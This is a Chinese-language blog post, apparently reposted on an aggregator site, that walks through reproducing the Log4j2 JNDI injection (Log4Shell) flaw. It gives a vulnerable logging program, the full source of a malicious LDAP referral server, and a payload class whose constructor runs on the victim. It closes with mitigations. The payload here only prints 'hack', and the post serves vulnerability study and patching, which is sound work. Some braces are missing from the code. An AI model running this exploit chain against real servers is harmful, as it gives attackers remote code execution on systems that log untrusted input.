log4j2 jndi注入漏洞复现

Posted hier3

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j2 jndi注入漏洞复现相关的知识,希望对你有一定的参考价值。

最近log4j2出了个zero-day的严重漏洞,为了找出复现的方法,首先需要弄懂其中的原理。

log4j2有个功能可以调用jndi来查询一些信息然后记录在日志里,这个功能本来是可以用来记录一些动态配置信息,比如访问的用户信息等,但是却成了一个漏洞。

一、jndi、ldap简介

什么是jndi呢?

援引网上的说法,jndi就是java一套资源发现和使用的接口,用来将各种资源做整合,程序员不用关心底层配置和代码实现,将资源拿来用就可以了。

什么是ldap?

ldap是一种文件访问协议,可以用来获取文件资源

log4j2在记录日志时可以用

logger.error("$jndi:ldap://127.0.0.1:1389/Print");

这样子就会调用jndi底层的127.0.0.1:1389 rmi服务去获取 ldap的资源路径,然后从这个资源路径获取需要记录的日志信息。

二、问题复复现

问题复现需要三个组件

1、模拟服务器打日志的java进程

2、模拟rmi服务的server

3、提供下载资源的Http服务器

对于模拟服务器打日志的java进程:

package com.ccbft.JndiTest;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class JndiTest 
    public static void main(String[] args) 
        Logger logger= LogManager.getLogger(JndiTest.class);
        logger.error("$jndi:ldap://127.0.0.1:1389/Print");
    

我们简单模拟一下

对于提供rmi服务的server

网上找到了下面的代码

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LDAPRefServer 

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) 
        int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) 
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        
        else if ( args.length > 1 ) 
            port = Integer.parseInt(args[ 1 ]);
        

        try 
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        
        catch ( Exception e ) 
            e.printStackTrace();
        
    

    private static class OperationInterceptor extends InMemoryOperationInterceptor 

        private URL codebase;


        /**
         * 
         */
        public OperationInterceptor ( URL cb ) 
            this.codebase = cb;
        


        /**
         * @inheritDoc
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) 
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try 
                sendResult(result, base, e);
            
            catch ( Exception e1 ) 
                e1.printStackTrace();
            

        


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException 
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) 
                cbstring = cbstring.substring(0, refPos);
            
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        

    

这个代码就是模拟ldap的服务器,当接收到请求时会进入到OperationInterceptor进行处理

启动参数提供一个例子

http://192.168.1.4/#Print

其中192.168.1.4是Http服务器地址

            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());

这段代码的作用是告诉服务调用方去哪里获取资源

    static Object decodeObject(Attributes var0) throws NamingException 
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try 
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) 
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
             else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) 
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
             else 
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            
         catch (IOException var5) 
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        
    

原因是在调用方收到请求之后会调用decodeObject去解析返回结果,只有objectClass是javaNamingReference才会进入decodeReference方法。运行到这里就跟ldap服务没有关系了,接下来会去Http服务器下载对应的class文件

最后会调用getObjectFactoryFromReference方法下载class文件

然后在下面的代码去实例化获取到的class文件,所以只需要在获取的class文件的构造函数里写hack代码就可以任意操作写日志的服务器。

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

 这里提供一个class文件

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Print implements ObjectFactory
    public Print()
        System.out.println("hack");
    

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception 
        return null;
    

如果成功就会在写日志的服务器上打印hack。

三、解决方案

1、设置-Dlog4j2.formatMsgNoLookups=true

2、升级到2.15.0

对于第一个解决方案,尝试了2.10.0之前的版本,没有效果,

 换成2.10.0

-Dlog4j2.formatMsgNoLookups=false

 

 

2.10.0(包括)之后都有效果,2.10..0之前的最好选择升级版本

compile("org.apache.logging.log4j:log4j-api:2.10.0")
compile("org.apache.logging.log4j:log4j-core:2.10.0")

以上是关于log4j2 jndi注入漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Apache Log4j2远程代码执行漏洞复现

Apache Log4j2 远程代码执行漏洞复现

log4j2 JNDI注入复现

漏洞log4j2远程执行代码复现实操代码例子

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析—复现步骤(攻击方法)

Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)